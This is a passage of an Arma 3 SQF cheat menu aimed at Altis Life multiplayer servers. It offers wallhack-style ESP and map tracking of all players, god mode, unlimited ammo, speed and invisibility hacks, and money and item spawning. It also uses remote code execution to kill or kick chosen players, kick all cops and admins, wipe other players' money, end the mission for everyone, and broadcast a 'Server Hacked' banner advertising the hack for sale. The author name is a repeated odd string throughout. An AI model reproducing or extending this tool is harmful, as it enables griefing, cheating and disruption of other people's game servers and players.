- hint "Player Markers \n by Aaron is sexy updated \n ON";
- } else {
- Aaron is sexy updated_Map_Markers = 0;
- hint "Player Markers \n by Aaron is sexy updated \n OFF";
- };
- while {
- Aaron is sexy updated_Map_Markers == 1
- }
- do {
- {
- if ((vehicle _x isKindOf "LandVehicle") || (vehicle _x isKindOf "Air") || (vehicle _x isKindOf "Ship")) then {
- if (count(crew vehicle _x) > 0) then {
- {
- if (!(_x in Aaron is sexy updated_Noobs) and(alive _x) and(getPlayerUID _x != "")) then {
- private["_pos", "_l44", "_l45"];
- _l45 = vehicle _x;
- _pos = visiblePosition _x;
- _l44 = createMarkerLocal[format["CRW%1%2", _pos select 0, _pos select 1], [(_pos select 0) + 00, _pos select 1, 0]];
- _l8 = (gettext(configFile >> 'CfgVehicles' >> (typeof vehicle _x) >> 'displayName'));
- _l44 setMarkerTextLocal format['%1---%2---%3m', name _x, _l8, round(_x distance player)];
- _l44 setMarkerTypeLocal "mil_dot";
- if ((side _x == side player) and(side _x != resistance)) then {
- _l44 setMarkerColorLocal "ColorBlue";
- } else {
- _l44 setMarkerColorLocal "ColorRed";
- };
- _l44 setMarkerSizeLocal[1, 1];
- Aaron is sexy updated_Noobs set[count Aaron is sexy updated_Noobs, _x];
- [_x, _l44, _l45] spawn {
- private["_l46", "_l47", "_l48"];
- _l46 = _this select 0;
- _l47 = _this select 1;
- while {
- (Aaron is sexy updated_Map_Markers == 1) and(alive _l46) and(vehicle _l46 != _l46) and(getPlayerUID _l46 != "")
- }
- do {
- _l48 = ((crew vehicle _l46) find _l46);
- _l47 setMarkerPosLocal([(visiblePosition _l46 select 0) + 00, (visiblePosition _l46 select 1) - (25 + _l48 * 20), 0]);
- sleep 0.01;
- };
- deleteMarkerLocal _l47;
- if (_l46 in Aaron is sexy updated_Noobs) then {
- Aaron is sexy updated_Noobs set[(Aaron is sexy updated_Noobs find _l46), -1];
- Aaron is sexy updated_Noobs = Aaron is sexy updated_Noobs - [-1];
- };
- true;
- };
- };
- }
- forEach crew vehicle _x;
- };
- } else {
- if (!(_x in Aaron is sexy updated_Bitches) and(vehicle _x == _x) and(getPlayerUID _x != "")) then {
- private["_pos", "_l44"];
- _pos = visiblePosition _x;
- _l44 = createMarkerLocal[format["PLR%1%2", _pos select 0, _pos select 1], [(_pos select 0) + 00, _pos select 1, 0]];
- _l44 setMarkerTypeLocal "mil_dot";
- _l44 setMarkerSizeLocal[1, 1];
- if ((side _x == side player) and(side _x != resistance)) then {
- _l44 setMarkerColorLocal "ColorWhite";
- } else {
- _l44 setMarkerColorLocal "ColorRed";
- };
- _l44 setMarkerTextLocal format["%1---%2", name _x, round(_x distance player)];
- if (_x == player) then {
- _l44 setMarkerColorLocal "ColorGreen";
- };
- Aaron is sexy updated_Bitches set[count Aaron is sexy updated_Bitches, _x];
- [_x, _l44] spawn {
- private["_l46", "_l47"];
- _l46 = _this select 0;
- _l47 = _this select 1;
- while {
- (Aaron is sexy updated_Map_Markers == 1) and(alive _l46) and(vehicle _l46 == _l46) and(getPlayerUID _l46 != "")
- }
- do {
- _l47 setMarkerPosLocal([visiblePosition _l46 select 0, visiblePosition _l46 select 1, 0]);
- sleep 0.01;
- };
- deleteMarkerLocal _l47;
- if (_l46 in Aaron is sexy updated_Bitches) then {
- Aaron is sexy updated_Bitches set[(Aaron is sexy updated_Bitches find _l46), -1];
- Aaron is sexy updated_Bitches = Aaron is sexy updated_Bitches - [-1];
- };
- true;
- };
- };
- };
- }
- forEach playableUnits;
- sleep 0.3;
- }; {
- _l44 = str _x;
- deleteMarkerLocal _l44;
- }
- forEach playableUnits;
- }, "", 50];
- player addAction["Esp Markers", {
- if (isnil("Aaron is sexy updated_ESP")) then {
- Aaron is sexy updated_ESP = 0;
- };
- if (Aaron is sexy updated_ESP == 0) then {
- Aaron is sexy updated_ESP = 1;
- hint "Aaron is sexy updated_ESP \n by Aaron is sexy updated \n ON";
- } else {
- Aaron is sexy updated_ESP = 0;
- hint "Aaron is sexy updated_ESP \n by Aaron is sexy updated \n OFF";
- };
- if (Aaron is sexy updated_ESP == 1) then {
- onEachFrame {
- _l49 = nearestobjects[player, ["CAManBase"], 1500]; {
- if ((side _x != side player) && (getPlayerUID _x != "") && ((player distance _x) < 1500)) then {
- drawIcon3D["", [1, 0, 0, 1], [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 2], 0.1, 0.1, 45, (format["%2 : %1m", round(player distance _x), name _x]), 1, 0.04, "TahomaB"]
- } else {
- if ((getPlayerUID _x != "") && ((player distance _x) < 1500)) then {
- drawIcon3D["", [0, 0.5, 1, 1], [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 2], 0.1, 0.1, 45, (format["%2 : %1m", round(player distance _x), name _x]), 1, 0.04, "TahomaB"]
- };
- };
- }
- foreach playableUnits;
- };
- } else {
- onEachFrame {
- nil
- };
- };
- }, "", 50];
- player addAction["GodMode", {
- if (isNil("Aaron is sexy updated_God")) then {
- Aaron is sexy updated_God = 0;
- };
- if (Aaron is sexy updated_God == 0) then {
- Aaron is sexy updated_God = 1;
- hint "Godmode \n by Aaron is sexy updated \n ON";
- player removeAllEventHandlers "handleDamage";
- player addEventHandler["handleDamage", {
- false
- }];
- player allowDamage false;
- vehicle player removeAllEventHandlers "handleDamage";
- vehicle player addEventHandler["handleDamage", {
- false
- }];
- vehicle player allowDamage false;
- } else {
- Aaron is sexy updated_God = 0;
- hint "Godmode \n by Aaron is sexy updated \n OFF";
- player addEventHandler["handleDamage", {
- true
- }];
- player removeAllEventHandlers "handleDamage";
- player allowDamage true;
- vehicle player addEventHandler["handleDamage", {
- true
- }];
- vehicle player removeAllEventHandlers "handleDamage";
- vehicle player allowDamage true;
- };
- }, "", 50];
- player addAction["Unlimit Ammo", {
- if (isnil("Aaron is sexy updated_Unlim_Ammo")) then {
- Aaron is sexy updated_Unlim_Ammo = 0;
- };
- if (Aaron is sexy updated_Unlim_Ammo == 0) then {
- Aaron is sexy updated_Unlim_Ammo = 1;
- hint "Unlimit Ammo \n by Aaron is sexy updated \n ON";
- } else {
- Aaron is sexy updated_Unlim_Ammo = 0;
- hint "Unlimit Ammo \n by Aaron is sexy updated \n OFF";
- };
- while {
- Aaron is sexy updated_Unlim_Ammo == 1
- }
- do {
- _l25 = primaryWeapon player;
- _l31 = secondaryWeapon player;
- player setAmmo[_l25, 999];
- player setAmmo[_l31, 999];
- (vehicle player) setVehicleAmmo 1;
- (vehicle player) setVehicleAmmo 1;
- sleep 0.01;
- };
- }, "", 50];
- player addAction["Unlimit Sprint", {
- if (isnil("Aaron is sexy updated_Sprint")) then {
- Aaron is sexy updated_Sprint = 0;
- };
- if (Aaron is sexy updated_Sprint == 0) then {
- Aaron is sexy updated_Sprint = 1;
- hint "Unlimit Sprint \n by Aaron is sexy updated \n ON";
- } else {
- Aaron is sexy updated_Sprint = 0;
- hint "Unlimit Sprint \n by Aaron is sexy updated \n OFF";
- };
- while {
- Aaron is sexy updated_Sprint == 1
- }
- do {
- player setFatigue 0;
- };
- }, "", 50];
- player addAction["Rapid Fire", {
- if (isnil("Aaron is sexy updated_Rapid")) then {
- Aaron is sexy updated_Rapid = 0;
- };
- if (Aaron is sexy updated_Rapid == 0) then {
- Aaron is sexy updated_Rapid = 1;
- hint "Rapid Fire \n by Aaron is sexy updated \n ON";
- } else {
- Aaron is sexy updated_Rapid = 0;
- hint "Rapid Fire \n by Aaron is sexy updated \n OFF";
- };
- while {
- Aaron is sexy updated_Rapid == 1
- }
- do {
- (vehicle player) setWeaponReloadingTime[(vehicle player), currentWeapon(vehicle player), 0];
- player setWeaponReloadingTime[player, currentWeapon player, 0];
- sleep 0.01;
- };
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- player addAction["<t color='#FFFF00'>No Recoil</t>", {
- if (isnil("Aaron is sexy updated_NoRecoil")) then {
- Aaron is sexy updated_NoRecoil = 0;
- };
- if (Aaron is sexy updated_NoRecoil == 0) then {
- Aaron is sexy updated_NoRecoil = 1;
- hint "No Recoil \n by Aaron is sexy updated \n ON";
- (vehicle player) setUnitRecoilCoefficient 0;
- } else {
- Aaron is sexy updated_NoRecoil = 0;
- hint "No Recoil \n by Aaron is sexy updated \n OFF";
- (vehicle player) setUnitRecoilCoefficient 1;
- };
- }, "", 50];
- player addAction["ExplosivShot", {
- if (isNil "Aaron is sexy updated_ExplosivShot") then {
- Aaron is sexy updated_ExplosivShot = 0
- };
- if (Aaron is sexy updated_ExplosivShot == 0) then {
- Aaron is sexy updated_ExplosivShot = 1;
- vehicle player removeAllEventHandlers "Fired";
- hint "Super Explosiv Bullets \n by Aaron is sexy updated \n ON";
- vehicle player addeventhandler["Fired", {
- call BigFuckinBullets
- }];
- BigFuckinBullets = {
- if (isNull cursorTarget) then {
- TargetPlayer = screenToWorld[0.5, 0.5];
- } else {
- TargetPlayer = getpos cursorTarget;
- };
- _spwnboom = "HelicopterExploBig"
- createVehiclelocal TargetPlayer; /*_spwnboom = "HelicopterExploBig" createVehiclelocal TargetPlayer;_spwnboom = "Bo_FAB_250" createVehiclelocal TargetPlayer;_spwnboom = "Sh_120_HE" createVehiclelocal TargetPlayer;_spwnboom = "Bo_Mk82" createVehiclelocal TargetPlayer;*/
- };
- } else {
- Aaron is sexy updated_ExplosivShot = 0;
- hint "Super Explosiv Bullets \n by Aaron is sexy updated \n OFF";
- vehicle player removeAllEventHandlers "Fired";
- };
- }, "", 50];
- player addAction["Speed Hack", {
- if (isnil("Aaron is sexy updated_Speed")) then {
- Aaron is sexy updated_Speed = 0;
- };
- if (Aaron is sexy updated_Speed == 0) then {
- Aaron is sexy updated_Speed = 1;
- hint "Speehack \n by Aaron is sexy updated \n ON";
- waituntil {
- !isnull(finddisplay 46)
- };
- Speedhaxxx = (findDisplay 46) displayAddEventHandler["KeyDown", "_this select 1 call MY_KEYDOWN_FNC;false;"];
- MY_KEYDOWN_FNC = {
- _vehicle_player = vehicle player;
- if (_vehicle_player == player) exitwith {};
- _nos = _vehicle_player getvariable "boost_shiftl";
- _supgrade = _vehicle_player getvariable "boost_e";
- if (isEngineOn _vehicle_player) then {
- switch (_this) do {
- case 18:
- /* KEY E */ {
- if (isEngineOn _vehicle_player and!isnil "_supgrade") then {
- _vehicle_player SetVelocity[(velocity _vehicle_player select 0) * 1.15, (velocity _vehicle_player select 1) * 1.07, (velocity _vehicle_player select 2) * 0.99];
- } else {
- _vehicle_player setvariable["boost_e", 1, true];
- };
- };
- case 42:
- /* KEY SHIFTL */ {
- if (isEngineOn _vehicle_player and!isnil "_nos") then {
- _vehicle_player setVelocity[(velocity _vehicle_player select 0) * 1.03, (velocity _vehicle_player select 1) * 1.1, (velocity _vehicle_player select 2) * 1.00];
- } else {
- _vehicle_player setvariable["boost_shiftl", 1, true];
- };
- };
- };
- };
- };
- } else {
- Aaron is sexy updated_Speed = 0;
- hint "Speehack \n by Aaron is sexy updated \n OFF";
- (findDisplay 46) displayRemoveEventHandler["KeyDown", Speedhaxxx];
- _nos = nil;
- _vehicle_player = nil;
- };
- }, "", 50];
- player addAction["Invisible", {
- if (isnil("Aaron is sexy updated_Invis")) then {
- Aaron is sexy updated_Invis = 0;
- };
- if (Aaron is sexy updated_Invis == 0) then {
- Aaron is sexy updated_Invis = 1;
- hint "Invis \n by Aaron is sexy updated \n ON";
- } else {
- Aaron is sexy updated_Invis = 0;
- hint "Invis \n by Aaron is sexy updated \n OFF";
- };
- if (Aaron is sexy updated_Invis == 1) then {
- Invis_Name = name player;
- [{
- {
- if (name _x == Invis_Name) then {
- _x hideObjectGlobal true
- };
- }
- foreach playableUnits;
- }, "BIS_fnc_spawn", false, true] spawn BIS_fnc_MP;
- } else {
- [{
- {
- if (name _x == Invis_Name) then {
- _x hideObjectGlobal false
- };
- }
- foreach playableUnits;
- }, "BIS_fnc_spawn", false, true] spawn BIS_fnc_MP;
- };
- }, "", 50];
- player addAction["License", {
- life_licenses = [ /*["license_cop_air","cop"],["license_cop_swat","cop"],["license_cop_cg","cop"],["license_civ_driver","civ"],["license_civ_air","civ"],["license_civ_heroin","civ"],["license_civ_marijuana","civ"],["license_civ_gang","civ"],["license_civ_boat","civ"],["license_civ_oil","civ"],["license_civ_dive","civ"],["license_civ_truck","civ"],["license_civ_gun","civ"],["license_civ_rebel","civ"],["license_civ_coke","civ"],["license_civ_diamond","civ"],["license_civ_copper","civ"],["license_civ_iron","civ"],["license_civ_sand","civ"],["license_civ_salt","civ"],["license_civ_cement","civ"]*/
- ["license_civ_driver", "civ"],
- ["license_civ_truck", "civ"],
- ["license_civ_air", "civ"],
- ["license_civ_gun", "civ"],
- ["license_civ_rebel", "civ"],
- ["license_civ_diamond", "civ"],
- ["license_civ_heroin", "civ"],
- ["license_civ_marijuana", "civ"]
- ]; {
- missionNamespace setVariable[(_x select 0), true];
- }
- foreach life_licenses;
- hint "Licens are given \n by Aaron is sexy updated";
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- player addAction["Restrain Target", {
- hint format["%1 was restrained \n by Aaron is sexy updated", name cursorTarget];
- cursorTarget setVariable["restrained", true, true];
- [
- [cursorTarget], "life_fnc_restrain", cursorTarget, false
- ] spawn life_fnc_MP;
- }, "", 50];
- player addAction["Unrestrain Target", {
- hint format["%1 was released \n by Aaron is sexy updated", name cursorTarget];
- cursorTarget setVariable["restrained", false, true];
- }, "", 50];
- player addAction["Unrestrain Myself", {
- hint "You are free \n by Aaron is sexy updated";
- player setVariable["restrained", FALSE, TRUE];
- }, "", 50];
- player addAction["Escort on", {
- cursorTarget attachTo[player, [0.1, 1.1, 0]];
- cursorTarget setVariable["transporting", false, true];
- cursorTarget setVariable["Escorting", true, true];
- }, "", 50];
- player addAction["Escort off", {
- detach cursorTarget;
- cursorTarget setVariable["Escorting", false, true];
- }, "", 50];
- player addAction["Jail Target", {
- cursorTarget setPos(getMarkerPos "jail_marker");
- }, "", 50];
- player addAction["Unjail Target", {
- cursorTarget setPos(getMarkerPos "jail_release");
- }, "", 50];
- };
- ServerMenubyAaron is sexy updated = {
- removeallactions player;
- player addAction["<t color='#FF0000'>Close Menu</t>", {
- removeallactions player;
- call init_main;
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- player addAction["Kill one <t color='#FFFF00'>Player</t>", {
- removeallactions player;
- player addAction["<t color='#FF0000'>Close Menu</t>", {
- removeallactions player;
- call init_main;
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- _AllUnits = playableUnits;
- _CountAllUnits = count _AllUnits;
- _Selected = 0;
- for "_Selected"
- from 0 to _CountAllUnits do {
- _TargetUnit = _AllUnits select _Selected;
- hint format[" \n - Player - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n User Online: \n %1 \n ----------------------------------------------- \n Current Loaded: \n %2 \n ----------------------------------------------- \n ", _CountAllUnits, _Selected];
- };
- Aaron is sexy updated_PlayerList = {
- {
- if ((isPlayer _x) && (alive _x)) then {
- player addAction[format["%1 - %2", _x, name _x], {
- _player = (_this select 3);
- [_player, "player SetDamage 100;"] call Aaron is sexy updated;
- hint format["%1 has been killed by Aaron is sexy updated", name _player];
- }, _x]
- };
- }
- forEach(playableUnits);
- };
- [] call Aaron is sexy updated_PlayerList;
- }, "", 50];
- player addAction["Kick one <t color='#FFFF00'>Player</t>", {
- removeallactions player;
- player addAction["<t color='#FF0000'>Close Menu</t>", {
- removeallactions player;
- call init_main;
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- _AllUnits = playableUnits;
- _CountAllUnits = count _AllUnits;
- _Selected = 0;
- for "_Selected"
- from 0 to _CountAllUnits do {
- _TargetUnit = _AllUnits select _Selected;
- hint format[" \n - Player - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n User Online: \n %1 \n ----------------------------------------------- \n Current Loaded: \n %2 \n ----------------------------------------------- \n ", _CountAllUnits, _Selected];
- };
- Aaron is sexy updated_PlayerList = {
- {
- if ((isPlayer _x) && (alive _x)) then {
- player addAction[format["%1 - %2", _x, name _x], {
- _player = (_this select 3);
- [_player, "failMission'LOSER'; 0 fadeSound 0; for'_l39'from 0 to 100 do{(findDisplay _l39)closeDisplay 0;};"] call Aaron is sexy updated;
- hint format["%1 has been kicked by Aaron is sexy updated", name _player];
- }, _x]
- };
- }
- forEach(playableUnits);
- };
- [] call Aaron is sexy updated_PlayerList;
- }, "", 50];
- player addAction["Kick all <t color='#0000FF'>Cops</t>", {
- if (isnil("Cop_Admins")) then {
- Cop_Admins = 0;
- };
- if (Cop_Admins == 0) then {
- Cop_Admins = 1;
- hint "Auto Cop kick \n by Aaron is sexy updated \n ON";
- } else {
- Cop_Admins = 0;
- hint "Auto Cop kick \n by Aaron is sexy updated \n OFF";
- };
- while {
- Cop_Admins == 1
- }
- do {
- [TRUE, "if(call life_coplevel > 0) then {failMission'LOSER'; 0 fadeSound 0; for'_l39'from 0 to 100 do{(findDisplay _l39)closeDisplay 0;};};"] call Aaron is sexy updated;
- sleep 15;
- };
- }, "", 50];
- player addAction["Kick all <t color='#FF0000'>Admins</t>", {
- if (isnil("Kick_Admins")) then {
- Kick_Admins = 0;
- };
- if (Kick_Admins == 0) then {
- Kick_Admins = 1;
- hint "Auto Admin kick \n by Aaron is sexy updated \n ON";
- } else {
- Kick_Admins = 0;
- hint "Auto Admin kick \n by Aaron is sexy updated \n OFF";
- };
- while {
- Kick_Admins == 1
- }
- do {
- [TRUE, "if(call life_adminlevel > 0) then {failMission'LOSER'; 0 fadeSound 0; for'_l39'from 0 to 100 do{(findDisplay _l39)closeDisplay 0;};};"] call Aaron is sexy updated;
- sleep 15;
- };
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- player addAction["Add Inventory", {
- removeallactions player;
- player addAction["<t color='#FF0000'>Close Menu</t>", {
- removeallactions player;
- call init_main;
- }, "", 3];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 3];
- player addAction["Add 1 Pickaxe", {
- life_inv_pickaxe = life_inv_pickaxe + 1;
- hint "Item Added";
- }, "", 3];
- player addAction["Add 3 Lockpick", {
- life_inv_lockpick = life_inv_lockpick + 3;
- hint "Item Added";
- }, "", 3];
- player addAction["Add 3 Water", {
- life_inv_water = life_inv_water + 3;
- hint "Item Added";
- }, "", 3];
- player addAction["Add 3 Apple", {
- life_inv_apple = life_inv_apple + 3;
- hint "Item Added";
- }, "", 3];
- player addAction["Add 3 Coffee", {
- life_inv_coffee = life_inv_coffee + 3;
- hint "Item Added";
- }, "", 3];
- player addAction["Add 3 Donut", {
- life_inv_donuts = life_inv_donuts + 3;
- hint "Item Added";
- }, "", 3];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 3];
- player addAction["Add 25 Diamond", {
- life_inv_diamond = life_inv_diamond + 25;
- hint "Item Added";
- }, "", 3];
- player addAction["Add 25 Chopper", {
- life_inv_copperr = life_inv_copperr + 25;
- hint "Item Added";
- }, "", 3];
- player addAction["Add 25 Salt", {
- life_inv_saltr = life_inv_saltr + 25;
- hint "Item Added";
- }, "", 3];
- player addAction["Add 100 Cocain", {
- life_inv_cokep = life_inv_cokep + 100;
- hint "Item Added";
- }, "", 3];
- player addAction["Add 100 Heroin", {
- life_inv_heroinp = life_inv_heroinp + 100;
- hint "Item Added";
- }, "", 3];
- player addAction["Add 100 Marijuana", {
- life_inv_marijuana = life_inv_marijuana + 100;
- hint "Item Added";
- }, "", 3];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 3];
- }, "", 50];
- player addAction["Give me Money", {
- removeallactions player;
- player addAction["<t color='#FF0000'>Close Menu</t>", {
- removeallactions player;
- call init_main;
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- player addAction[" 5k", {
- life_Cash = Life_Cash + 5000;
- hint "You got Money \n by Aaron is sexy updated";
- }, "", 50];
- player addAction[" 25k", {
- life_Cash = Life_Cash + 25000;
- hint "You got Money \n by Aaron is sexy updated";
- }, "", 50];
- player addAction[" 50k", {
- life_Cash = Life_Cash + 50000;
- hint "You got Money \n by Aaron is sexy updated";
- }, "", 50];
- player addAction["100k", {
- life_Cash = Life_Cash + 100000;
- hint "You got Money \n by Aaron is sexy updated";
- }, "", 50];
- player addAction["250k", {
- life_Cash = Life_Cash + 250000;
- hint "You got Money \n by Aaron is sexy updated";
- }, "", 50];
- player addAction["500k", {
- life_Cash = Life_Cash + 500000;
- hint "You got Money \n by Aaron is sexy updated";
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- player addAction[" 1kk", {
- life_Cash = Life_Cash + 1000000;
- hint "You got Money \n by Aaron is sexy updated";
- }, "", 50];
- player addAction[" 2kk", {
- life_Cash = Life_Cash + 2000000;
- hint "You got Money \n by Aaron is sexy updated";
- }, "", 50];
- player addAction[" 5kk", {
- life_Cash = Life_Cash + 5000000;
- hint "You got Money \n by Aaron is sexy updated";
- }, "", 50];
- player addAction[" 10kk", {
- life_Cash = Life_Cash + 10000000;
- hint "You got Money \n by Aaron is sexy updated";
- }, "", 50];
- player addAction[" 25kk", {
- life_Cash = Life_Cash + 25000000;
- hint "You got Money \n by Aaron is sexy updated";
- }, "", 50];
- player addAction[" 50kk", {
- life_Cash = Life_Cash + 50000000;
- hint "You got Money \n by Aaron is sexy updated";
- }, "", 50];
- player addAction["100kk", {
- life_Cash = Life_Cash + 100000000;
- hint "You got Money \n by Aaron is sexy updated";
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- }, "", 50];
- player addAction["Reset my Money", {
- life_Cash = 0;
- life_atmCash = 0;
- }, "", 50];
- player addAction["Money all (0)", {
- [TRUE, "life_cash = 36; life_atmcash = 36;"] call Aaron is sexy updated;
- hint "All players got fucked \n by Aaron is sexy updated";
- }, "", 50];
- player addAction["Money all (36 Mil)", {
- [TRUE, "life_cash = 36363636; life_atmcash = 36363636;"] call Aaron is sexy updated;
- hint "All players got 10Mil \n by Aaron is sexy updated";
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- player addAction["Time Day", {
- [FALSE, "if(isServer) then {while {true} do {setDate [2012, 9, 1, 11, 0]; sleep 5;};};"] call Aaron is sexy updated;
- hint "Time: Day (Please Wait)";
- }, "", 50];
- player addAction["Time Night", {
- [FALSE, "if(isServer) then {while {true} do {setDate [2012, 9, 1, 24, 0]; sleep 5;};};"] call Aaron is sexy updated;
- hint "Time: Night (Please Wait)";
- }, "", 50];
- player addAction["Broadcast", {
- [TRUE, "hint 'Server Hacked \n by Aaron is sexy updated';"] call Aaron is sexy updated;
- }, "", 50];
- player addAction["Newsbanner", {
- if (isnil("Aaron is sexy updated_News_Banner")) then {
- Aaron is sexy updated_News_Banner = 0;
- };
- if (Aaron is sexy updated_News_Banner == 0) then {
- Aaron is sexy updated_News_Banner = 1;
- hint "News Banner On";
- [TRUE, "[parseText'<t size=''1.8'' color=''#CA278C''>This Server is now owned ===> Hacked by Aaron is sexy updated </t><br/><t color=''#CA278C''>If you wanna buy this Hack, just add me on Steam: Aaron is sexy updated_Arma</t>',parseText'<t size=''1.2''color=''#FE2E2E''>HACKED </t><t size=''1.2''color=''#FACC2E''>HACKED </t><t size=''1.2''color=''#80FF00''>HACKED </t><t size=''1.2''color=''#00FF00''>HACKED </t><t size=''1.2''color=''#2EFE9A''>HACKED </t><t size=''1.2''color=''#00FFFF''>HACKED </t><t size=''1.2''color=''#0174DF''>HACKED </t><t size=''1.2''color=''#013ADF''>HACKED </t><t size=''1.2''color=''#3A01DF''>HACKED </t><t size=''1.2''color=''#A901DB''>HACKED </t><t size=''1.2''color=''#DF0174''>HACKED </t><t size=''1.2''color=''#00FFFF''>HACKED </t>']spawn BIS_fnc_AAN;"] call Aaron is sexy updated;
- } else {
- Aaron is sexy updated_News_Banner = 0;
- hint "News Banner Off";
- [TRUE, "(uinamespace getvariable 'BIS_AAN') closedisplay 1;"] call Aaron is sexy updated;
- };
- }, "", 50];
- player addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- player addAction["ServerDown", {
- [TRUE, "failMission'LOSER';"] call Aaron is sexy updated;
- hint "All Players has been kicked by Aaron is sexy updated";
- }, "", 50];
- player addAction["<t color='#FF00FF'>Executer</t>", {
- execvm "_src\test.sqf";
- }, "", 50];
- };
- If(alive Dummy) then {
- player addAction["Switch to Dummy", {
- {
- _x = player;
- first = _x;
- _x = vehicle Dummy;
- second = _x;
- secondowner = owner _x;
- }
- foreach playableunits;
- first remotecontrol second;
- vehicle second switchcamera "EXTERNAL";
- hint "Press F3 to switch back \n by Aaron is sexy updated";
- }, "", 50];
- };
- Dummy_Menu = {
- Dummy addaction["<t color='#000000'>----------------------</t>", {
- Hint "Dummy FTW! :D";
- }, "", 50];
- Dummy addAction["- Destroy Target", {
- _dt = cursorTarget;
- cursorTarget setDamage 100;
- hint format["%1 \n Damaged \n by Aaron is sexy updated", _dt];
- }, "", 50];
- Dummy addAction["- Vehicle EMP", {
- [cursorTarget, "vehicle player setFuel 0;"] call Aaron is sexy updated;
- hint format["%1 \n Vehicle Stopped \n by Aaron is sexy updated", cursorTarget];
- }, "", 50];
- Dummy addAction["- Teleport on Mapclick", {
- openMap[true, false];
- onMapSingleClick '_pos1 = [(_pos select 0), (_pos select 1), 0]; vehicle Dummy setPos _pos1;hint format [ "%1 \n was teleported to \n %2 \n by Aaron is sexy updated", name Dummy, _pos1] onMapSingleClick "";openMap [false, false];';
- }, "", 50];
- Dummy addAction["- Teleport to Player", {
- removeallactions Dummy;
- Dummy addaction["<t color='#FF0000'>Close Menu</t>", {
- removeallactions Dummy;
- call Dummy_Menu;
- }, "", 50];
- Dummy addaction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- _AllUnits = playableUnits;
- _CountAllUnits = count _AllUnits;
- hint format[" \n - Player - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n User Online: \n %1 \n ----------------------------------------------- \n Current Loaded: \n %1 \n ----------------------------------------------- \n ", _CountAllUnits];
- Aaron is sexy updated_PlayerList = {
- {
- if ((isPlayer _x) && (alive _x)) then {
- Dummy addAction[format["%1 - %2", _x, name _x], {
- _player = (_this select 3);
- vehicle Dummy setPos[(getpos _player select 0) + 15, (getpos _player select 1) + 15, (getpos _player select 2)];
- hint format["You have been Ported to \n %1 \n by Aaron is sexy updated", name _player];
- }, _x]
- };
- }
- forEach(playableUnits);
- };
- [] call Aaron is sexy updated_PlayerList;
- }, "", 50];
- Dummy addAction["- Vehicle Spawn", {
- removeallactions Dummy;
- Dummy addaction["<t color='#FF0000'>Close Menu</t>", {
- removeallactions Dummy;
- call Dummy_Menu;
- }, "", 50];
- Dummy addaction["<t color='#000000'>----------------------</t>", {
- Hint "Dummy FTW! :D";
- }, "", 50];
- Dummy addAction["Spawn Quadbike", {
- _svtp = createVehicle["B_G_Quadbike_01_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction Dummy - 90);
- }, "", 50];
- Dummy addAction["Spawn Gocart", {
- _svtp = createVehicle["C_Kart_01_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction Dummy - 90);
- }, "", 50];
- Dummy addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- Dummy addAction["Spawn Hatchback", {
- _svtp = createVehicle["C_Hatchback_01_sport_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction Dummy - 90);
- }, "", 50];
- Dummy addAction["Spawn Offroad", {
- _svtp = createVehicle["C_Offroad_01_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction Dummy - 90);
- }, "", 50];
- Dummy addAction["Spawn SUV", {
- _svtp = createVehicle["C_SUV_01_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction Dummy - 90);
- }, "", 50];
- Dummy addAction["Spawn Truck", {
- _svtp = createVehicle["B_Truck_01_covered_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction Dummy - 90);
- }, "", 50];
- Dummy addAction["<t color='#000000'>----------------------</t>", {
- hint "Menu by Aaron is sexy updated";
- }, "", 50];
- Dummy addAction["Spawn Strider", {
- _svtp = createVehicle["I_MRAP_03_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction Dummy - 90);
- }, "", 50];
- Dummy addAction["Spawn Strider HMG", {
- _svtp = createVehicle["I_MRAP_03_hmg_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
- _svtp setDir(direction Dummy - 90);
- }, "", 50];
- Dummy addAction["Spawn Strider GMG", {
- _svtp = createVehicle["I_MRAP_03_gmg_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
